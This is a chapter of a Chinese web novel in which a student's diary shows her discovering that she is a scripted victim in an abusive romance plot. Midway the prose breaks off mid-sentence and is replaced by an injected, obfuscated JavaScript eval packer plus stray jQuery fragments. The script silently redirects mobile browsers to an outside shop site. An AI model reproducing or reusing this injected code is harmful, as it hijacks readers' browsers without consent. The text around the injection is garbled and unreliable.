「2023年4月9日。」
「梦到祝行野来咖啡馆。我很困扰。」
——————————
她拿着传单去了时光咖啡馆。面试很容易，领班看了她的课表就点了头。温言特意申请调到后厨，避开了前厅的人来人往。后厨的蒸汽和洗洁精泡沫把她藏得严严实实，没有一个客人会注意到洗碗槽前那个戴着口罩的女生。
但领班走过来了。
“小温，丽丽肚子疼得厉害，你去送一下餐。快。”
温言张了张嘴，想说：“我身体也不太舒服。”
十个字都不到，很简单的。
但她什么都说不出来，声音被卡在喉咙里，然后她听到自己说——
“……好的。”
紧接着她端起托盘，像一个训练有素的服务生走向指定位置。
祝行野坐在靠窗的位置微笑地看着她。
“一起吃点东西？”
不要！
温言感觉自己的嘴角在弯起一个弧度。
能不能离我远点。
她把托盘安稳地放下。
我不想吃饭，滚啊！滚啊！
她的声音从喉咙里飘出来，又轻又细，带着一种令人作呕的颤抖：“祝先生，您这样……别人会误会的。”
这不是她想要的拒绝。这是让人显得“清纯”“矜持”“惹人怜爱”的、千篇一律的欲拒还迎。
祝行野挑了挑眉，兴趣更浓：“误会？我看看谁敢误会。”
——————————
台灯下，温言翻开新的一页。纸页上划出歪歪扭扭的线条，当时她应该抖得厉害。
「2023年4月11日」
我发现我无法控制我自己。
——————————
一连串的日期，越写越密，越写越潦草。字迹在页面上歪歪扭扭地蔓延开来，有的地方笔画深得划破了纸，有的地方又淡得几乎看不清。一个人的挣扎被时间压缩成一帧一帧模糊的残影。
「2023年4月15日」
辩白失败。
——————————
温言想起那天的实验室，那些异样的眼光，那些飘到她耳朵里的窃窃私语。
她转过身，想说“我没有金主”，但声音一出喉咙就变成委屈与闪烁的：“不是那样的……你们相信我。”
她又开始表演楚楚可怜。
——————————
「2023年4月18日」
那些人在找茬，我却没法反击。
——————————
她的书被人扔在地上，踩满了鞋印。温言站在原地，拳头攥得发白，脑中的声音在嘶吼：是谁干的，站出来。
但她什么都说不出来，什么都做不了。她站在自己的书面前，像一个被钉在原地的木偶，连弯腰去捡的力气都没有。
直到祝行野出现，皱眉，用他那一套仿佛世界中心的、浮夸的方式解决问题。
她在旁边站着，看着他替她出头，脸上适时地浮起一层感激而仰慕的微红。
——————————
笔记上的字迹越来越乱。她翻过一页，没有日期，只写了一行字。
「我像被看不见的线牵引的木偶。」
笔迹很重，纸页被钢笔尖划破了，在下一张纸上留下了一道细细的凸痕。
她翻过另一页。
「我越挣扎，这副躯壳就越表演出那种样子。」
——————————
「2023年8月15日。我梦到......我死了。」
死在孤儿院的小床上，贫困潦倒，一身重病。
——————————
「2023年8月27日。我被困在自己的身体里了。」
她每天睁着眼睛亲眼看着自己沉沦。她是被关在自己身体里的囚徒，在日记本上记下的内容是她无力的手在囚牢中刻下的徒劳的划痕。
——————————
「2023年9月7日。噩梦。被非法囚禁。」
她梦到很糟糕的事情，她被困在别墅里，她想逃，怎么都逃不掉。
——————————
「2023年9月20日。我像个楚楚可怜、等待拯救的菟丝花。」
她要怎么破解。
——————————
「2023年9月25日。噩梦。被绑在手术台上，强行换肾。」
她从梦里醒来的时候几乎把嘴唇咬破了，能尝到血的味道。她捂着嘴，血从指缝里渗出来，滴在被子上，洇成一朵一朵暗红色的小花。
——————————
「2023年10月5日。这不对。」
这个世界不对。
——————————
「2023年11月2日。噩梦。赵氏集团？」
她不认识姓赵的人。但她知道那个赵氏集团，她怎么会和赵氏集团有什么关系？
——————————
「2023年11月15日。好混乱。盛家大小姐说我害她流产，我被罚跪在雪地里三个小时。」
她从梦里醒来，浑身发抖，室友问她怎么了，她什么也说不出来。
——————————
「我梦到的那些是什么？经历的这些又是什么？」
是什么呢？她几乎是苦思冥想，反复回忆那些梦，反复比对现实中发生的每一件事，把每一个交叉点都圈出来，但还是无法用任何她从书上学到的东西来解释。这就像——
「像一个不合常理的故事。」
一切的不合理里，出现了一个最合理的前提。
「以折辱我、捉弄我、虐待我为乐的故事。」
她想通了什么。
那些日期，那些噩梦，那些失控......
它们不是孤立的。
它们连起来，就变成了一个完整的、有着起承转合的、有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509346|202930||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着固定套路的——
「故事……」
是故事。
而她在这个故事里的角色从一开始就被写好了，劫难一层套一层，永无止境。而这个世界似乎乐在其中。
「故……事？」
合理了。
那些铺天盖地的、她写下它们的时候几乎要把笔杆捏断的一切，此刻又潮水般地涌了回来。
但是......凭什么？
凭什么？
凭什么！！！！
她从小到大没有做过一件坏事，为什么要经历这些？
她不要。她不要这样的人生！！！
她什么都做不了......
谁来......救救她。
——————————
温言安静地翻着页，那些曾经令她绝望的日期一页一页地往后退，纸张哗啦啦地响。
一年翻过去了，又一年翻过去了。她的侧脸在灯光下有些不真实，睫毛的阴影落在颧骨上，久久才眨一下。直到她停在最新的空白页。
她提起笔，在纸上写下今天的日期。
「2026年1月16日。我确定了一件事。」
夜色如墨，小小的出租屋里只有书桌前的一片暖黄。她写得很慢，神色像一片幽深的湖。
——————————
晨光从窗户里倾泻进来，把整个房间染成淡金色。温言起床，洗漱。临出门，她推开窗户通风，冬日清冽的空气涌进来，吹得桌上的笔记本哗哗翻了几页。
她从衣柜里拿出一件外套披上，抱起桌上的书，脚步轻盈。
——————————
【墟之间】茶研所。
庭院里，那棵孤松的影子被正午的太阳打在静水。 上。水面倒映着松枝，旁边一个身影从玄关走来。
司尘正在书案后分茶，听见脚步声，抬起头来，见到温言带着笑意的脸。
“今天心情很好吗？”
温言在茶台对面坐下，抬头，嘴角弧度加深了一些。
“还可以。”
门口的风铃响了。盛昭阳和钱钱走进来。
“哇，你每次都来好早。”钱钱在温言旁边坐下。
温言笑了笑：“人在有目标的时候，总是动力很足的。”
盛昭阳甚是同意地点头，从桌上抓起一块桂花糕塞进嘴里。钱钱翻开项目书，看了一眼盛昭阳鼓鼓囊囊的腮帮子，叹了口气。
“那我们先开始吧。祝行野说他马上到。”
“嗯。”温言端起面前的茶盏，茶汤映出她微微弯起的眼睛。
她的家里，笔记本安静地摊开在桌面，阳光落在最后那几行字上，黑色的墨水被照得微微反光。
「2026年1月16日。」
「我确定了一件事。」
「她不是病毒。」
「这个匪夷所思的世界，」
「才是等待被修正的，」
「巨大的病毒。」